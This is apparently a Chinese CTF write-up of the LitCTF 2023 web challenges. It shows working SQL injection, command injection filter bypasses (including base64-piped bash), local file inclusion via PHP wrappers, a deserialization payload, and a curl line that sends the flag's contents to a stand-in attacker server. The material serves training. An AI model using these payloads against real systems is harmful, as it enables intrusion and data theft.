
LitCTF是我每年都会关注的一个偏新生向的比赛2023年那场正好赶上我在本地搭环境练手就抽了一个周末把web组从头到尾过了一遍。整体做下来最大的感受是题型不偏、难度梯度合适特别适合作为阶段性自测来打。这篇wp我按题目类型拆开写不会按题号顺序硬记流水账而是把同一个考点的题放在一起对照这样更容易看出出题人的出题思路也方便你自己复现。先说结论这届web组基本覆盖了CTF Web的主流基础方向信息收集、SQL注入、命令执行、文件包含、PHP代码审计都有涉及几乎每道题都能在本地搭建环境复现。下文所有payload都是我在实际解题中调通的按步骤操作基本都能跑通。1. 赛前准备与题目整体分布1.1 本地环境与常用工具链打CTF web题环境准备是关键。这一步没搞定后面全白搭。我当时用的是Ubuntu 22.04虚拟机装了Docker用于本地起靶场复现题目浏览器准备了三件套Chrome日常调试、Burp Suite抓包改包、HackBar快速构造payload。PHP题一般直接用Docker起一个php-apache容器来模拟Mysql题目就用docker-compose一键拉起完整的lamp环境。有一点值得单独提Burp Suite不要装完就不管了建议先把代理配置好并且把拦截开关、重发器Repeater、编码转换这几个常用模块的位置都记熟。这届web组有好几道题都需要反复改包、看响应没有Burp效率会低很多。我见过不少新人卡在“不知道为什么请求发不出去”这种问题上最后发现是代理没配好这类环境问题非常浪费时间尽量提前排除掉。1.2 2023年LitCTF web组考点分布我花了点时间把web组的题整理了一下发现考点分布非常典型统计下来大致是信息收集/源码泄露类2道、SQL注入类2道、命令执行类1到2道、文件包含与代码审计类2道剩下还有一些小杂题。这个分布其实和主流CTF比赛的web方向基本一致说明出题人没有故意出偏题怪题来为难新人。从解题难度上看信息收集类和简单SQL注入属于送分题适合快速抢时间命令执行和文件包含需要一定的绕过经验PHP代码审计那两道比较吃基本功对函数特性不熟的话会卡很久。我的建议是如果你是第一次打这种比赛先把信息收集和SQL注入的分数拿到手再去啃后面的硬骨头时间分配上比较划算。2. 信息收集与源码泄露类题目解析2.1 robots.txt与隐藏目录探测这届web组里有一道签到题页面就是一个简单的静态页面什么输入框都没有看起来毫无攻击面。我第一反应就是先看robots.txt果然在里面发现了一个隐藏路径/flagbak/。访问之后发现目录里躺着一个flag.txt直接打开就是flag。这种题目本质上是考信息收集的敏感度没有任何技术含量但恰恰是很多新人容易忽略的。我的建议是拿到一个web题目不要急着扫目录先手动看一眼常见敏感文件包括/robots.txt/.git//.svn//www.zip或/backup.zip/.env/flag、/admin、/console等常见路径当然手动探测效率低建议配合目录扫描工具一起用。我常用的是dirsearch跑的字典很小常用的几个路径就够。比如上面这几个路径dirsearch默认字典基本都能覆盖到。2.2 源码备份文件泄露另一道题更直接访问根页面就显示“欢迎来到LitCTF”没有任何其他入口。我扫描目录后发现存在index.php.bak下载下来打开就直接拿到了PHP源码。源码内容大致如下?php $flag flag{...}; if (isset($_GET[cmd])) { system($_GET[cmd]); } ?这道题的意图很明显就是让你发现源码备份然后通过参数直接执行命令。如果你没有下载备份文件这一步后面完全无从下手。这类.bak、.swp、.~后缀文件在真实环境中也经常出现开发者把编辑器自动生成的备份文件直接传上去了属于典型的信息泄露漏洞。实际做题的时候我建议遇到PHP页面就先尝试访问index.php.bak、index.php~、index.php.swp很多情况下直接能看到源代码。这个习惯比盲目扫目录更高效因为很多题目就是故意留了这些备份文件等你发现。2.3 信息收集题的通用套路把这两道题放在一起看会发现信息收集题的解题思路其实很固定先访问常见敏感路径再用目录扫描兜底最后结合泄露的源码/配置文件扩大攻击面。我在打这种题的时候会给自己列一个检查清单按顺序来不会漏掉查看robots.txt查看页面源码注释尝试常见备份文件.bak、.swp、.save、.zip尝试常见源码管理目录.git、.svn目录扫描兜底有个容易踩的坑是/.git/目录如果存在不能只盯着index.php看。你需要用GitHack之类的工具把整个git仓库拉下来因为flag往往藏在上传前的历史提交记录里。这一届虽然没有考到git利用但这类知识点在多次其他比赛里出现过提前掌握没坏处。3. SQL注入类题目实战记录3.1 登录绕过与联合查询的基本流程这届web组有一道SQL注入题入口是一个登录页面输入用户名密码之后点击登录。我最开始尝试了admin/admin这种弱口令意料之中地失败了。接着我随手在用户名一栏输入了admin or 11 --密码随便填竟然直接以admin身份登录成功了。这就是最经典的万能密码注入。登录进去之后发现页面会显示用户信息并且URL里有参数?id1。我马上意识到这里可能存在可注入点于是开始系统性地测试。先试?id1和?id2页面内容有变化说明查询结果被展示出来了。再试?id1页面报错说明单引号被直接拼进SQL语句里了。经典联合查询注入的场景出现了接下来就是常规操作先确定字段数?id1 order by 3 -- - ?id1 order by 4 -- -order by 3正常order by 4报错说明查询只有3个字段。接着用联合查询构造回显点?id-1 union select 1,2,3 -- -为什么用-1因为id-1查不到结果联合查询的结果才会作为页面数据返回这是联合注入的基础技巧。页面显示2和3说明第二个、第三个字段是回显点。然后查库名和表名?id-1 union select 1,2,database() -- - ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() -- -拿到表名后发现有一个flag表直接查字段?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameflag -- - ?id-1 union select 1,2,group_concat(flag) from flag -- -flag顺利到手。整个过程可以说是教科书级别的联合查询注入很适合新手用来练手。3.2 过滤绕过与报错注入的应对思路另一道SQL注入题加了过滤测试半天发现union和select被直接替换成空字符串。好在它是直接替换一次并没有做递归过滤所以我用了双写绕过?id-1 ununionion selselectect 1,2,3 -- -用这种方式过了过滤限制。这里新手比较容易卡住因为很多人以为过滤了就没办法了实际上过滤的严格程度和绕过手法直接相关替换一次的空字符过滤最简单用双写就能解决。如果碰到无法使用联合查询的场景比如页面不回显数据我通常直接用报错注入。常用的报错注入函数有updatexml和extractvalue原理是让SQL语句在MySQL内部因为XPath函数语法错误触发报错把传入的恶意表达式结果带回错误信息里?id1 and updatexml(1,concat(0x7e,database(),0x7e),1) -- -concat(0x7e,database(),0x7e)中的0x7e是波浪线~的十六进制编码加它的目的是让报错信息里包含一个明显分隔符便于阅读。这类注入方式在页面无回显但会输出数据库报错时特别好用。3.3 盲注场景的必备技巧如果页面完全不回显任何数据也不输出报错那就只能走盲注了。布尔盲注的原理是根据页面内容是否变化来判断条件真假时间盲注则是根据响应延迟。我在打这届题时没遇到纯盲注但之前积累的经验还是想分享出来。判断注入点是否可用时先试一条必然成立和一条必然不成立的语句?id1 and 11 -- - ?id1 and 12 -- -如果两条响应不同说明可以走布尔盲注。接下来用substr配合ascii逐字符猜解?id1 and ascii(substr((select database()),1,1))100 -- -这种逐字符猜解效率很低我一般会写Python脚本配合Burp或者requests库来自动化。脚本的逻辑很简单遍历每个位置和每个字符把ASCII码逐一对比命中则拼到结果里。脚本写出来的效果类似这样import requests url http://127.0.0.1:8080/ result for i in range(1, 50): for c in range(32, 127): payload f?id1 and ascii(substr((select database()),{i},1)){c} -- - r requests.get(url payload) if bTrue in r.content: result chr(c) print(result) break时间盲注的原理类似只是把判断条件改成延时函数sleep(1)根据响应时间判断条件真假。这个脚本看起来简单但已经是手工注入的极限了再往下就是sqlmap的活。我不反对用sqlmap但新手练习阶段还是尽量手工注入几次把原理吃透再用工具否则出了问题根本不知道报错是什么意思。4. 命令执行类题目的绕过与利用4.1 无过滤命令执行的直接利用这届web组有一道题直接考了命令执行。页面是这样一个逻辑用户传入一个IP地址后端执行ping -c 4 用户输入然后把结果展示出来。这个场景在真实渗透测试里也很多见属于非常经典的命令注入点。我先正常提交了一个127.0.0.1响应正常。接着尝试在IP后面追加命令127.0.0.1; ls分号在Linux shell里表示顺序执行多条命令所以这条命令会先ping 127.0.0.1然后列出当前目录文件。返回结果里果然出现了index.php、flag.php等文件。接下来直接读取flag127.0.0.1; cat flag.phpflag内容就这么出来了。这道题完全没有过滤属于送分题但我建议还是把常见的命令拼接符号整理清楚;顺序执行多条命令前一条命令成功才执行后一条||前一条命令失败才执行后一条|把前一条命令的输出作为后一条命令的输入命令替换先执行反引号中的命令$()命令替换等同于反引号后面三个符号在无回显场景下特别有用因为可以把命令输出传给另一个工具。4.2 常见过滤规则与绕过姿势不过大多数命令执行题不会那么直接这届另外一道题就对输入做了过滤。我提交127.0.0.1; cat /flag时直接提示“非法字符”经过测试发现以下字符被过滤了空格、/、flag字符串。空格被过滤是最常见的情况绕过方式也很多# 使用${IFS}代替空格 127.0.0.1;cat${IFS}/flag # 使用tab符号URL编码为%09 127.0.0.1;cat%09/flag # 使用重定向符代替cat的参数分割 127.0.0.1;cat/flagflag字符串被过滤可以用通配符来绕过# 用*通配 127.0.0.1;cat${IFS}/fla* # 用?通配单个字符 127.0.0.1;cat${IFS}/fla?而/被过滤之后可以用${PWD}变量代替或者用cd命令先切目录再操作127.0.0.1;cd${IFS}..${IFS}cat${IFS}fla*注意这里的是为了确保cd成功之后再执行cat避免半截命令失败导致整体报错。遇到复杂的过滤规则时我习惯用一个技巧把命令编码后再交给bash执行。比如把cat /flagbase64编码为Y2F0IC9mbGFn然后执行echo${IFS}Y2F0IC9mbGFn|base64${IFS}-d|bash这个技巧能绕过几乎所有基于字符串匹配的过滤前提是管道符|和后端的bash没被过滤。我当时就是靠这个方式最终把flag拿出来的。4.3 无回显场景的外带数据思路有一种更恶心的场景命令执行了但是页面不展示命令输出。这种情况在真实环境里很常见CTF里偶尔也会考虽然这届没有但我还是想聊一下因为思路是所有命令执行题的底层逻辑。无回显时的第一反应是外带数据OOB。你可以借助curl或者ping这类工具把敏感信息发送到你能控制的服务器上。比如我可以在自己的机器上起一个HTTP服务然后在目标机上执行curl http://your-server:8080/$(cat /flag | base64)这样flag内容会经过base64编码后作为URL路径请求到你的服务器上你再去看服务器访问日志就能拿到数据。当年做这种题的时候我踩过一个坑flag里有特殊字符被shell解析掉了导致外带的数据不完整。后来我养成了一个习惯所有外带数据都先base64编码因为base64编码结果只包含字母、数字、加号、斜杠和等号不会出现空格换行和特殊符号不容易被shell误解。5. 文件包含与PHP代码审计题的解题记录5.1 本地文件包含的源码读取文件包含在最近几年的CTF web题里频繁出现2023年LitCTF也不例外。有一道题页面提供了一个文件切换功能URL长这样?pagehome.php我尝试把page参数改成index.php和home.php之外的值页面出现报错提示php://filter无法识别。这句话暴露了后端可能存在文件包含逻辑并且封装协议没有被过滤。我立刻尝试用PHP的filter协议读取源码?pagephp://filter/readconvert.base64-encode/resourceindex.php返回结果是一串base64字符。这串字符其实就是index.php源码的base64编码因为如果直接用resourceindex.php读取PHP会把文件内容当作PHP代码执行不会输出原始源码。加了一层convert.base64-encode过滤器之后源码被编码成base64字符串就能直接显示在页面上。把base64解码之后我看到了后端关键逻辑?php if (isset($_GET[page])) { include($_GET[page]); } else { include(home.php); } ?这段代码没有任何过滤直接包含用户可控的参数属于最经典的文件包含漏洞。有了源码就意味着后面的路好走了可以直接用data协议或者php://input构造攻击。5.2 伪协议利用与远程包含我尝试用data://协议直接执行代码?pagedata://text/plain,?php system(ls);?但页面报了错提示data协议可能被禁用。于是换上php://input绕过POST请求体里写入?php system(ls);?同时URL设为?pagephp://input这次成功执行了ls命令。php://input允许从请求体中读取数据配合include函数等同于直接把提交的代码交给PHP执行这在CTF里比较常用。接下来继续用同样的姿势读flag?php system(cat /flag);?这道题的核心就是探测哪些协议可用、哪些被禁用。我在测试的时候会按顺序尝试php://filter→data://→php://input→phar://哪个能回显就用哪个。新手容易在一个协议上死磕发现不行就放弃实际上换一个协议往往就柳暗花明。5.3 PHP弱类型与变量覆盖的代码审计web组还出现了一道纯代码审计题给的源码里包含了一段登录逻辑?php $flag flag{...}; extract($_POST); if ($pass $flag) { echo $flag; } else { echo wrong; } ?核心问题出在extract($_POST)上。这个函数会把POST数组里的键值对直接注册为PHP变量也就是说如果POST请求体是passanything那么$pass变量会被改成anything。接下来是弱类型比较的经典利用$pass $flag是宽松比较PHP会先把两个比较值转到同一类型再比较。如果flag是以纯数字开头的字符串0 flag{...}这种比较在PHP 7下会得到什么结果答案是当两个字符串都“看起来像数字”时会转成数字比较但flag大多以flag{开头不会自动转数字。所以这道题真正的考点不是弱类型比较而是extract变量覆盖。我直接POST一段数据让$pass和$flag同时被覆盖成同一个值比如passxflagx这样在比较的时候两个变量都是字符串x完全相等条件成立flag直接被输出。思路就是利用extract覆盖掉原本的$flag变量让校验条件恒成立。这类代码审计题其实比注入题更考验经验。我在看PHP源码的时候第一眼会优先关注几个危险函数extract、parse_str、$$动态变量、include、eval、system。它们在CTF里出镜率非常高看到基本就有戏。5.4 反序列化题目的初探另外有一道题我没能在比赛期间做出来但赛后复盘发现是PHP反序列化的基础题型。源码里有一个类?php class Flag { public $cmd; public function __destruct() { system($this-cmd); } } ?页面上有一个参数会被unserialize处理所以目标是构造一个序列化字符串让反序列化时把$cmd属性设置为cat /flag。这里的关键点是利用__destruct魔法方法在对象销毁时自动执行命令。构造payload的方式很简单本地跑一段PHP$obj new Flag(); $obj-cmd cat /flag; echo serialize($obj);输出结果为O:4:Flag:1:{s:3:cmd;s:9:cat /flag;}把这个字符串URL编码后传给反序列化参数就能触发命令执行。这类题我之所以没做出来是因为当时没有注意到页面底部注释里暴露的反序列化入口等于输在了信息收集上。这让我更加确认web题的第一步永远是信息收集后面所有攻击都建立在对入口的了解之上。6. 高频踩坑与实战排查技巧6.1 新手最容易忽略的五个细节每次打完比赛我都会复盘一下哪些坑是新人最容易踩的。2023年LitCTF这几次踩坑经历基本可以归纳成五条每条都是真实的教训第一忘记URL编码。payload里的单引号、空格、#这些特殊字符在URL里经常需要编码尤其是#它会被浏览器当作锚点直接截断导致后面的注释符号根本没传到后端。我见过很多新人发问“我的payload怎么没用”进去一看就是忘了把#编码成%23。第二盲目上sqlmap而不看页面回显。工具解出来的注入点有时候不准手工先验证一遍更靠谱。第三拿到命令执行后不会确认当前目录。很多新手执行ls看到一堆文件就蒙了其实加一句pwd就能定位当前位置再加ls /就能摸清整个系统结构。第四不看HTTP响应头。响应头的Server字段能告诉你后端是Apache还是NginxSet-Cookie和X-Powered-By能暴露PHP版本和框架信息这些都是判断攻击面的重要依据。第五忽略页面自身的报错信息。报错页面看着烦但这个信息本身就是最大的线索经常直接暴露了后端语言、框架版本和文件路径。6.2 本地复现题目的正确姿势很多读者会问我看了wp之后怎么复现我的建议是不要光看wp要找同类题目练手。CTF刷题平台现在非常多有专门收录历年赛题的题库站还有靶场平台都可以用来练习。复现的时候建议按以下步骤来先在本地用Docker搭一个和题目环境一致的环境把源码放进去跑起来。再打开Burp开始按wp里的payload一步步测试。过程中刻意不要急着看答案先自己猜注入点、自己构造绕过方式。最后再看wp对比自己的思路和标准解法的差距。我第一次练SQL注入的时候就是在一个通关网站上从最简单的联合注入开始一题一题打到盲注和堆叠注入。中间卡住了就看提示然后用笔记总结每种注入类型的判定方法和payload模板。这样打了一个月之后再遇到SQL注入题基本能形成条件反射。6.3 我常用的排查顺序实战中遇到“payload没生效”的情况我一般按以下顺序排查先确认参数名和请求方式是否匹配。GET参数就别用POST发送反之亦然。再检查payload是否被过滤可以在本地做黑盒测试一个字符一个字符尝试确认哪些被过滤。接着检查编码方式特殊字符是否做了URL编码编码层数是否合理。然后看响应差异把注入条件和完全不成立条件分别发一遍对比响应的差异。最后抓包看最终发出去的请求长什么样子很多时候Burp里能看到浏览器格式化后的真实请求比肉眼猜靠谱得多。排查的本质就是变量控制把每个可能出问题的环节单独测试而不是同时改好几个变量。我见过有人遇到问题就一顿乱改运气好就过运气不好就完全蒙圈这是最不可取的调试方式。打比赛的经验积累没有捷径但可以少走弯路。把上面的排查顺序刻在脑子里至少能节省一半的卡题时间。这届LitCTF做完之后我又把每道题在本地重新搭起来做了一遍直到不看笔记也能独立打穿为止。对我个人而言看wp只是“知道”独立复现才是“会了”。希望这篇wp对你也有类似的帮助。